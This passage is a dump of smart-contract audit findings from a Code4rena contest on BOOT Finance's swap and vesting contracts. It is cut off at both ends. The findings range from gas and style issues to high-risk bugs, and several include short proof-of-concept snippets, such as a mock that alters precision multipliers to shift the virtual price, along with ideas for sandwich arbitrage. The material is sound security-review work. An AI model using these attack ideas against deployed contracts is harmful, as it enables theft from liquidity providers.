https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/customswap/contracts/SwapUtils.sol#L522-L557 ```solidity=522 function getYD( uint256 a, uint8 tokenIndex, uint256[] memory xp, uint256 d ) internal pure returns (uint256) { uint256 numTokens = xp.length; require(tokenIndex < numTokens, \"Token not found\"); // ... } ``` ### Recommendation Remove the redundant code. "}, {"title": "Typos", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/230", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "Typos"}, {"title": "Code Style: consistency", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/228", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "Code Style: consistency"}, {"title": "Remove unnecessary variables can save some gas", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/223", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle WatchPug # Vulnerability details `transferredDx` is unnecessary, it can be replaced with `dx`. https://github.com/code-423n4/2021-11-bootfinance/blob/f102ee73eb320532c5a7c1e833f225c479577e39/customswap/contracts/SwapUtils.sol#L1098-L1123 ```solidity=1098{1119-1123} function swap( Swap storage self, uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy ) external returns (uint256) { require( dx <= self.pooledTokens[tokenIndexFrom].balanceOf(msg.sender), \"Cannot swap more than you own\" ); // Transfer tokens first to see if a fee was charged on transfer uint256 beforeBalance = self.pooledTokens[tokenIndexFrom].balanceOf(address(this)); self.pooledTokens[tokenIndexFrom].safeTransferFrom( msg.sender, address(this), dx ); // Use the actual transferred amount for AMM math uint256 transferredDx = self.pooledTokens[tokenIndexFrom].balanceOf(address(this)).sub( beforeBalance ); // ... ``` ### Recommendation Change to: ```solidity // Use the actual transferred amount for AMM math uint256 dx = self.pooledTokens[tokenIndexFrom].balanceOf(address(this)).sub( beforeBalance ); // ... ``` "}, {"title": "Tokens with decimals larger than 18 are not supported", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/221", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-bootfinance-findings", "body": "Tokens with decimals larger than 18 are not supported"}, {"title": "Gas: Unnecessary msg.sender != 0 check", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/218", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle cmichel # Vulnerability details The `AirdropDistribution.claimExact` and `InvestorDistribution.claimExact` functions check that `msg.sender != address(0)`. This is always true, nobody has the private key of the zero address and it cannot be spoofed. This check can be removed. "}, {"title": "Gas: Unnecessary length check in `Swap.constructor`", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/217", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle cmichel # Vulnerability details The `Swap.constructor` checks if both arrays `_pooledTokens` and `decimals` are of length two, but then does another check if these arrays have the same length. ```solidity require( _pooledTokens.length == decimals.length, \"_pooledTokens decimals mismatch\" ); ``` This check will always be true as it has been checked that both arrays are of length two. "}, {"title": "Swaps are not split when trade crosses target price", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/216", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle cmichel # Vulnerability details The protocol uses two amplifier values A1 and A2 for the swap, depending on the target price, see `SwapUtils.determineA`. The swap curve is therefore a join of two different curves at the target price. When doing a trade that crosses the target price, it should first perform the trade partially with A1 up to the target price, and then the rest of the trade order with A2. However, the `SwapUtils.swap / _calculateSwap` function does not do this, it only uses the \"new A\", see `getYC` step 5. ```solidity // 5. Check if we switched A's during the swap if (aNew == a){ // We have used the correct A return y; } else { // We have switched A's, do it again with the new A return getY(self, tokenIndexFrom, tokenIndexTo, x, xp, aNew, d); } ``` ## Impact Trades that cross the target price and would lead to a new amplifier being used are not split up and use the new amplifier for the _entire trade_. This can lead to a worse (better) average execution price than manually splitting the trade into two transactions, first up to but below the target price, and a second one with the rest of the trader order size, using both A1 and A2 values. In the worst case, it could even be possible to make the entire trade with one amplifier and then sell the swap result again using the other amplifier making a profit. ## Recommended Mitigation Steps Trades that lead to a change in amplifier value need to be split up into two trades using both amplifiers to correctly calculate the swap result. "}, {"title": "can withdraw shares on behalf of anyone", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/215", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-11-bootfinance-findings", "body": "can withdraw shares on behalf of anyone"}, {"title": "`BasicSale` uses inaccurate `secondsPerDay` value", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/211", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle cmichel # Vulnerability details The `BasicSale` contract uses a `secondsPerDay` value of `84200` but one day has `86400` seconds. ## Impact The `secondsPerDay` does not reflect seconds per day. ## Recommended Mitigation Steps Change the value. "}, {"title": "`BasicSale` has unused ERC20 code", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/210", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle cmichel # Vulnerability details The `BasicSale` contract includes ERC20 code like `_balances`, `_allowances` storage variables and `Transfer`, `Approval` events. This code is never used. ## Impact Unused code can hint at programming or architectural errors. ## Recommended Mitigation Steps Use it or remove it. "}, {"title": "# Missing parameter validation", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/209", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle cmichel # Vulnerability details Some parameters of functions are not checked for invalid values: - `Swap.setAdminFee`: The `newAdminFee` should be validated the same way as in the constructor - `Swap.setSwapFee`: The `newSwapFee` should be validated the same way as in the constructor - `Swap.setDefaultWithdrawFee`: The `newWithdrawFee` should be validated the same way as in the constructor ## Impact Wrong user input or wallets defaulting to the zero addresses for a missing input can lead to the contract needing to redeploy or wasted gas. ## Recommended Mitigation Steps Validate the parameters. "}, {"title": "Stop ramp target price would create huge arbitrage space.", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/208", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle jonah1005 # Vulnerability details # Stop ramp target price would create huge arbitrage space. ## Impact `stopRampTargetPrice` would set the `tokenPrecisionMultipliers` to `originalPrecisionMultipliers[0].mul(currentTargetPrice).div(WEI_UNIT);` Once the `tokenPrecisionMultipliers` is changed, the price in the AMM pool would change. Arbitrager can sandwich `stopRampTargetPrice` to gain profit. Assume the decision is made in the DAO, an attacker can set up the bot once the proposal to `stopRampTargetPrice` has passed. I consider this is a medium-risk issue. ## Proof of Concept The `precisionMultiplier` is set here: [Swap.sol#L661-L666](https://github.com/code-423n4/2021-11-bootfinance/blob/main/customswap/contracts/Swap.sol#L661-L666) We can set up a mockSwap with extra `setPrecisionMultiplier` to check the issue. ```solidity function setPrecisionMultiplier(uint256 multipliers) external { swapStorage.tokenPrecisionMultipliers[0] = multipliers; } ``` ```python print(swap.functions.getVirtualPrice().call()) swap.functions.setPrecisionMultiplier(2).transact() print(swap.functions.getVirtualPrice().call()) # output log: # 1000000000000000000 # 1499889859738721606 ``` ## Tools Used None ## Recommended Mitigation Steps Dealing with the target price with multiplier precision seems clever as we can reuse most of the existing code. However, the precision multiplier should be an immutable parameter. Changing it after the pool is setup would create multiple issues. This function could be implemented in a safer way IMHO. A quick fix I would come up with is to ramp the `tokenPrecisionMultipliers` as the `aPrecise` is ramped. As the `tokenPrecision` is slowly increased/decreased, the arbitrage space would be slower and the profit would (probably) distribute evenly to lpers. Please refer to `_getAPreceise`'s implementation [SwapUtils.sol#L227-L250](https://github.com/code-423n4/2021-11-bootfinance/blob/main/customswap/contracts/SwapUtils.sol#L227-L250) "}, {"title": "SwapUtils's getD, getY, getYD functions do repetitive calculations of contant expression within the cycles", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/207", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle hyh # Vulnerability details ## Impact Gas overspending due to excessive operations ## Proof of Concept getD, getY, getYD functions calculate mul(d).div(xp[i].mul(numTokens) within the token cycles https://github.com/code-423n4/2021-11-bootfinance/blob/main/customswap/contracts/SwapUtils.sol#L538 https://github.com/code-423n4/2021-11-bootfinance/blob/main/customswap/contracts/SwapUtils.sol#L588 https://github.com/code-423n4/2021-11-bootfinance/blob/main/customswap/contracts/SwapUtils.sol#L861 d, numTokens are constant there, so the divisions are redundant. ## Recommended Mitigation Steps Introduce (d / numTokens) variable and simplify the multiplication Now: uint256 c = d; ... for (uint256 i = 0; i < numTokens; i++) { if (i != tokenIndex) { s = s.add(xp[i]); c = c.mul(d).div(xp[i].mul(numTokens)); To be: uint256 c = d; uint256 d_num = d.div(numTokens); ... for (uint256 i = 0; i < numTokens; i++) { if (i != tokenIndex) { s = s.add(xp[i]); c = c.mul(d_num).div(xp[i]); "}, {"title": "revoke() Does Not Check Zero Address for _addr", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/202", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle Meta0xNull # Vulnerability details ## Impact revoke() Does Not Check Zero Address for _addr ## Proof of Concept https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/Vesting.sol#L104-L105 more... ## Tools Used Manual Review ## Recommended Mitigation Steps Check _addr for Zero Address "}, {"title": "addInvestor() Does Not Check Availability of investors_supply", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/201", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged"], "target": "2021-11-bootfinance-findings", "body": "addInvestor() Does Not Check Availability of investors_supply"}, {"title": "SwapUtils.calculateTokenAmount does repetitive checks of static condition", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/200", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle hyh # Vulnerability details ## Impact Gas overspending due to excessive operations ## Proof of Concept SwapUtils.calculateTokenAmount's 'deposit' bool variable is checked on each iteration, while one check is enough https://github.com/code-423n4/2021-11-bootfinance/blob/main/customswap/contracts/SwapUtils.sol#L1031 ## Recommended Mitigation Steps It's recommended to separate the cycles: Now: for (uint256 i = 0; i < numTokens; i++) { if (deposit) { balances1[i] = balances1[i].add(amounts[i]); } else { balances1[i] = balances1[i].sub( amounts[i], \"Cannot withdraw more than available\" ); } } To be: if (deposit) { for (uint256 i = 0; i < numTokens; i++) { balances1[i] = balances1[i].add(amounts[i]); } } else { for (uint256 i = 0; i < numTokens; i++) { balances1[i] = balances1[i].sub( amounts[i], \"Cannot withdraw more than available\" ); } } "}, {"title": "SwapUtils's addLiquidity does multiple LP token total supply calls", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/197", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle hyh # Vulnerability details ## Impact Gas overspending due to excessive external function calls ## Proof of Concept SwapUtils's addLiquidity function calls LP token totalSupply() several times: 6 code occurrences, one is in cycle. The very last occurrency should be kept as it is, the first 5 of them should be replaced with memory variable as the supply changes only once when LP mint() is called at the end of the function. https://github.com/code-423n4/2021-11-bootfinance/blob/main/customswap/contracts/SwapUtils.sol#L1163 ## Recommended Mitigation Steps Code update: Now: if (self.lpToken.totalSupply() != 0) { ... To be: uint256 lpTotalSupply = self.lpToken.totalSupply(); // storage read and function call if (lpTotalSupply != 0) { ... "}, {"title": "validate() to Verify Airdrop Address On Chain is Unnecessary", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/195", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle Meta0xNull # Vulnerability details ## Impact Verify Airdrop Address Holders On Chain by Spending Gas is Unnecessary and probably cost a lot after adding up everyone cost. ## Recommended At UI Frontend, wallet eg. Metamask allow UI to Verify Address Holders Without Spending Any Gas. "}, {"title": "claimExact() Missing Validation As In claim()", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/194", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-11-bootfinance-findings", "body": "claimExact() Missing Validation As In claim()"}, {"title": "SwapUtils.getVirtualPrice double calling to storage reading function _xp(self)", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/193", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle hyh # Vulnerability details ## Impact Gas overspending due to excessive storage reads ## Proof of Concept SwapUtils's getVirtualPrice repetitively calls _xp(self), which reads storage https://github.com/code-423n4/2021-11-bootfinance/blob/main/customswap/contracts/SwapUtils.sol#L705 ## Recommended Mitigation Steps Now: uint256 a = determineA(self, _xp(self)); uint256 d = getD(_xp(self), a); To be: uint256[] memory xP = _xp(self.balances, self.tokenPrecisionMultipliers); uint256 d = getD(xP, determineA(self, xP)); "}, {"title": "Multiple double storage reading _xp(self) function calls", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/191", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle hyh # Vulnerability details ## Impact Gas overspending due to excessive storage reads and function calls ## Proof of Concept SwapUtils's removeLiquidityImbalance does multiple _xp(self) calls, which can be saved to memory when balances don't change inbetween executions https://github.com/code-423n4/2021-11-bootfinance/blob/main/customswap/contracts/SwapUtils.sol#L1415 ## Recommended Mitigation Steps Now: uint256[] memory balances1 = self.balances; v.preciseA = determineA(self, _xp(self)); v.d0 = getD(_xp(self), v.preciseA); ... v.d1 = getD(_xp(self, balances1), determineA(self, _xp(self, balances1))); ... v.d2 = getD(_xp(self, balances1), determineA(self, _xp(self, balances1))); To be: uint256[] memory balances1 = self.balances; uint256[] memory tokenPM = self.tokenPrecisionMultipliers; // doesn't change, save and reuse uint256[] memory xP = _xp(balances1, tokenPM); // We already copied self.balances, no need to reread storage v.d0 = getD(xP, determineA(self, xP)); // v.preciseA isn't used elsewhere and can be dropped ... xP = _xp(balances1, tokenPM); // balances1 was modified, recomputing v.d1 = getD(xP, determineA(self, xP)); ... xP = _xp(balances1, tokenPM); // balances1 was modified, recomputing v.d2 = getD(xP, determineA(self, xP)); "}, {"title": "'From' and 'to' tokens are read from storage multiple times in SwapUtils's swap function", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/190", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle hyh # Vulnerability details ## Impact Gas is overspent due to excessive storage reads ## Proof of Concept SwapUtils's swap: saving self.pooledTokens[tokenIndexFrom], which do not change, to memory and reusing will reduce gas costs. https://github.com/code-423n4/2021-11-bootfinance/blob/main/customswap/contracts/SwapUtils.sol#L1098 ## Recommended Mitigation Steps Now: self.pooledTokens[tokenIndexFrom].balanceOf(msg.sender)... ... uint256 beforeBalance = self.pooledTokens[tokenIndexFrom].balanceOf(address(this)); self.pooledTokens[tokenIndexFrom].safeTransferFrom( ... uint256 transferredDx = self.pooledTokens[tokenIndexFrom].balanceOf(address(this)).sub(beforeBalance); To be: IERC20 memory fromToken = self.pooledTokens[tokenIndexFrom]; fromToken.balanceOf(msg.sender)... ... uint256 beforeBalance = fromToken.balanceOf(address(this)); fromToken.safeTransferFrom( ... uint256 transferredDx = fromToken.balanceOf(address(this)).sub(beforeBalance); "}, {"title": "Vesting.benVested storage variable can be simplified, while _claimableAmount's \"s <= benTotal[_addr]\" check is redundant and to be removed", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/186", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle hyh # Vulnerability details ## Proof of Concept The only usage is in _claimableAmount function and can be rewritten with one uint256 storage variable. https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/Vesting.sol#L183 benVested cannot be used to get current state as it is updated only during claim() and revoke() calls and calcClaimableAmount() to be used instead. The timelocks totals and benTotal cannot differ as timelocks are updated and deleted in vest() and revoke() functions only correspondingly, while there benTotal is updated with very same amount without any additional conditions. https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/Vesting.sol#L91 https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/Vesting.sol#L128 This way the 's <= benTotal[_addr]' check is redundant and to be removed. ## Impact 's <= benTotal[_addr]' check can be dangerous: the totals and benTotal cannot differ, while if there would be such a possibility, various attacks might be possible, for example a griefing one, when claim() always fails because of this check, and so on. I.e. now benVested can be simplified and check is not needed, while if there would be such a situation when it is needed, simple check as it is cannot be sufficient, and some code redesign should be done instead. ## Recommended Mitigation Steps Code update: Now: mapping(address => uint256[2]) public benVested; ... uint256 completely_vested = 0; uint256 partial_sum = 0; ... completely_vested = completely_vested.add(timelocks[_addr][i].amount); ... partial_sum = partial_sum.add(claimable); ... benVested[_addr][0] = benVested[_addr][0].add(completely_vested); benVested[_addr][1] = partial_sum; uint256 s = benVested[_addr][0].add(partial_sum); assert(s <= benTotal[_addr]); return s; To be: mapping(address => uint256) public benVested; ... uint256 currently_vested = 0; ... currently_vested = currently_vested.add(timelocks[_addr][i].amount); ... currently_vested = currently_vested.add(claimable); ... uint256 s = benVested[_addr].add(currently_vested); benVested[_addr] = s; return s; Also, cleaning in revoke() simplifies to benVested[_addr] = 0; https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/Vesting.sol#L127 "}, {"title": "Get virtual price is not monotonically increasing ", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/185", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle jonah1005 # Vulnerability details ## Impact There's a feature of `virtualPrice` that is monotonically increasing regardless of the market. This function is heavily used in multiple protocols. e.g.(curve metapool, mim, ...) This is not held in the current implementation of customSwap since `customPrecisionMultipliers` can be changed by changing the target price. There're two issues here: The meaning of `virtualPrice` would be vague. This may damage the lp providers as the protocol that adopts it may be hacked. I consider this is a medium-risk issue. ## Proof of Concept We can set up a mockSwap with extra `setPrecisionMultiplier` to check the issue. ```solidity function setPrecisionMultiplier(uint256 multipliers) external { swapStorage.tokenPrecisionMultipliers[0] = multipliers; } ``` ```python print(swap.functions.getVirtualPrice().call()) swap.functions.setPrecisionMultiplier(2).transact() print(swap.functions.getVirtualPrice().call()) # output log: # 1000000000000000000 # 1499889859738721606 ``` ## Tools Used None ## Recommended Mitigation Steps Dealing with the target price with multiplier precision seems clever as we can reuse most of the existing code. However, the precision multiplier should be an immutable parameter. Changing it after the pool is set up would create multiple issues. This function could be implemented in a safer way IMHO. The quick fix would be to remove the `getVirtualPrice` function. I can't come up with a safe way if other protocol wants to use this function. "}, {"title": "`customPrecisionMultipliers` would be rounded to zero and break the pool", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/183", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle jonah1005 # Vulnerability details ## Impact CustomPrecisionMultipliers are set in the constructor: ```solidity customPrecisionMultipliers[0] = targetPriceStorage.originalPrecisionMultipliers[0].mul(_targetPrice).div(10 ** 18); ``` `originalPrecisionMultipliers` equal to 1 if the token's decimal = 18. The targe price could only be an integer. If the target price is bigger than 10**18, the user can deposit and trade in the pool. Though, the functionality would be far from the spec. If the target price is set to be smaller than 10**18, the pool would be broken and all funds would be stuck. I consider this is a high-risk issue. ## Proof of Concept Please refer to the implementation. [Swap.sol#L184-L187](https://github.com/code-423n4/2021-11-bootfinance/blob/main/customswap/contracts/Swap.sol#L184-L187) We can also trigger the bug by setting a pool with target price = 0.5. (0.5 * 10**18) ## Tools Used None ## Recommended Mitigation Steps I recommend providing extra 10**18 in both multipliers. ```solidity customPrecisionMultipliers[0] = targetPriceStorage.originalPrecisionMultipliers[0].mul(_targetPrice).mul(10**18).div(10 ** 18); customPrecisionMultipliers[1] = targetPriceStorage.originalPrecisionMultipliers[1].mul(10**18); ``` The customswap only supports two tokens in a pool, there's should be enough space. Recommend the devs to go through the trade-off saddle finance has paid to support multiple tokens. The code could be more clean and efficient if the pools' not support multiple tokens. "}, {"title": "Use bytes32 instead of string when possible", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/176", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details If data can fit into 32 bytes, then you should use bytes32 datatype rather than bytes or strings as it is much cheaper in solidity. Basically, Any fixed size variable in solidity is cheaper than variable size. On the MarketPlace.sol contract, string memory variable can be replaced with bytes32 array. That will save gas on the contract. An example is revert messages. For example look at line 32 of PublicSale.sol. "}, {"title": "Use of uint8 for counter in for loop increases gas costs", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/175", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "Use of uint8 for counter in for loop increases gas costs"}, {"title": "Redundant hardhat console import ", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/173", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pants # Vulnerability details You import \"import \"./hardhat/console.sol\";\" and all uses are commented. You should also comment the import. SwapUtils line 9 "}, {"title": "Use calldata instead of memory for function parameters", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/172", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle mics # Vulnerability details Use calldata instead of memory for function parameters In some cases, having function arguments in calldata instead of memory is more optimal. Consider the following generic example: contract C { function add(uint[] memory arr) external returns (uint sum) { uint length = arr.length; for (uint i = 0; i < arr.length; i++) { sum += arr[i]; } } } In the above example, the dynamic array arr has the storage location memory. When the function gets called externally, the array values are kept in calldata and copied to memory during ABI decoding (using the opcode calldataload and mstore). And during the for loop, arr[i] accesses the value in memory using a mload. However, for the above example this is inefficient. Consider the following snippet instead: contract C { function add(uint[] calldata arr) external returns (uint sum) { uint length = arr.length; for (uint i = 0; i < arr.length; i++) { sum += arr[i]; } } } In the above snippet, instead of going via memory, the value is directly read from calldata using calldataload. That is, there are no intermediate memory operations that carries this value. Gas savings: In the former example, the ABI decoding begins with copying value from calldata to memory in a for loop. Each iteration would cost at least 60 gas. In the latter example, this can be completely avoided. This will also reduce the number of instructions and therefore reduces the deploy time cost of the contract. In short, use calldata instead of memory if the function argument is only read. Note that in older Solidity versions, changing some function arguments from memory to calldata may cause \"unimplemented feature error\". This can be avoided by using a newer (0.8.*) Solidity compiler. (non-exhaustive) List of Examples: SwapUtils line 639 USDPoolDelegator line 53 Swap.sol line 135 "}, {"title": "unnecessary variable y in getYD ", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/170", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle mics # Vulnerability details You could use the variable d instead of defining a new variable y at line 548 of SwapUtils.sol "}, {"title": "Missing revert message", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/168", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle mics # Vulnerability details Missing revert messages in the following places: 1. ETHPoolDelegator line 67 2. BTCPoolDelegator line 67 3. USDPoolDelegator lines 55, 56 "}, {"title": "Usage of deprecated safeApprove", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/166", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle mics # Vulnerability details safeApprove is now deprecated, see the link below. https://github.com/OpenZeppelin/openzeppelin-contracts/blob/566a774222707e424896c0c390a84dc3c13bdcb2/contracts/token/ERC20/utils/SafeERC20.sol#L38. This appears for example in line 499 of AirdropDistribution.sol. we recommend as in OpenZepplin documentation \u201cwhenever possible, use safeIncreaseAllowance and safeDecreaseAllowance instead\u201d. "}, {"title": "Constants should be written in UPPER_CASE", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/165", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pmerkleplant # Vulnerability details Constants should be written in UPPER_CASE, see [Solidity naming conventions](https://docs.soliditylang.org/en/v0.4.25/style-guide.html#constants). Constants breaking this convention: - `decimals` in `tge/contracts/PublicSale.sol` - `coin` in `tge/contracts/PublicSale.sol` - `secondsPerDay` in `tge/contracts/PublicSale.sol` - `firstEra` in `tge/contracts/PublicSale.sol` "}, {"title": "Contract `Vesting` should inherit from interface `IVesting`", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/164", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pmerkleplant # Vulnerability details Contract `Vesting` in `vesting/contracts/Vesting.sol` should inherit from the interface `IVesting` in `vesting/contracts/interfaces/IVesting.sol` as the contract implements the interface. "}, {"title": "Functions should be written in mixedCase", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/163", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pmerkleplant # Vulnerability details Functions should be written in mixedCase, see [Solidity naming conventions](https://docs.soliditylang.org/en/v0.4.25/style-guide.html#function-names). Functions breaking this convention: - Function `_available_supply` in `vesting/contracts/AidropDistribution.sol` - Function `available_supply` in `vesting/contracts/AidropDistribution.sol` - Function `_available_supply` in `vesting/contracts/InvestorDistribution.sol` - Function `available_supply` in `vesting/contracts/InvestorDistribution.sol` - Function `dev_rugpull` in `vesting/contracts/InvestorDistribution.sol` "}, {"title": "Events should be written in CapWords", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/162", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pmerkleplant # Vulnerability details Events should be written in CapWords, see [Solidity naming conventions](https://docs.soliditylang.org/en/v0.4.25/style-guide.html#event-names). Events breaking this convention: - `updateMiningParameters` in `vesting/contracts/AidropDistribution.sol` - `updateMiningParameters` in `vesting/contracts/InvestorDistribution.sol` "}, {"title": "Remove unused variables", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/161", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle pmerkleplant # Vulnerability details Removing unused variables saves gas and increases code clarity. Following variables are unused and can be removed: - `Hour` in `vesting/contracts/AidropDistribution.sol` - `Day` in `vesting/contracts/AirdropDistribution.sol` - `Hour` in `vesting/contracts/InvestorDistribution.sol` - `Day` in `vesting/contracts/InvestorDistribution.sol` - `_balance` in `tge/contracts/PublicSale.sol` - `_allowance` in `tge/contracts/PublicSale.sol` "}, {"title": "safeERC20 library imported but not used", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/154", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle loop # Vulnerability details `AirDropDistribution.sol` and `InvestorDistribution.sol` import the `safeERC20` library but make use of the normal ERC20 `transfer` function rather than `safeTransfer`. Considering this is called on the BOOT token there is likely no need for it to be `safeTransfer`. However, since the library is not used there is no need for it to be imported. ## Proof of Concept - https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/AirdropDistribution.sol#L12 - https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/InvestorDistribution.sol#L12 Transfer calls: - https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/AirdropDistribution.sol#L542 - https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/AirdropDistribution.sol#L567 - https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/InvestorDistribution.sol#L132 - https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/InvestorDistribution.sol#L156 - https://github.com/code-423n4/2021-11-bootfinance/blob/main/vesting/contracts/InvestorDistribution.sol#L207 "}, {"title": "Ideal balance is not calculated correctly when providing imbalanced liquidity", "html_url": "https://github.com/code-423n4/2021-11-bootfinance-findings/issues/150", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-11-bootfinance-findings", "body": "# Handle jonah1005 # Vulnerability details ## Impact When a user provides imbalanced liquidity, the fee is calculated according to the ideal balance. In saddle finance, the optimal balance should be the same ratio as in the Pool. Take, for example, if there's 10000 USD and 10000 DAI in the saddle's USD/DAI pool, the user should get the optimal lp if he provides lp with ratio = 1. However, if the customSwap pool is created with a target price = 2. The user would get 2 times more lp if he deposits DAI. [SwapUtils.sol#L1227-L1245](https://github.com/code-423n4/2021-11-bootfinance/blob/main/customswap/contracts/SwapUtils.sol#L1227-L1245) The current implementation does not calculates ideal balance correctly. If the target price is set to be 10, the ideal balance deviates by 10. The fee deviates a lot. I consider this is a high-risk issues. ## Proof of Concept We can observe the issue if we initiates two pools DAI/LINK pool and set the target price to be 4. For the first pool, we deposit more dai. ```python swap = deploy_contract('Swap' [dai.address, link.address], 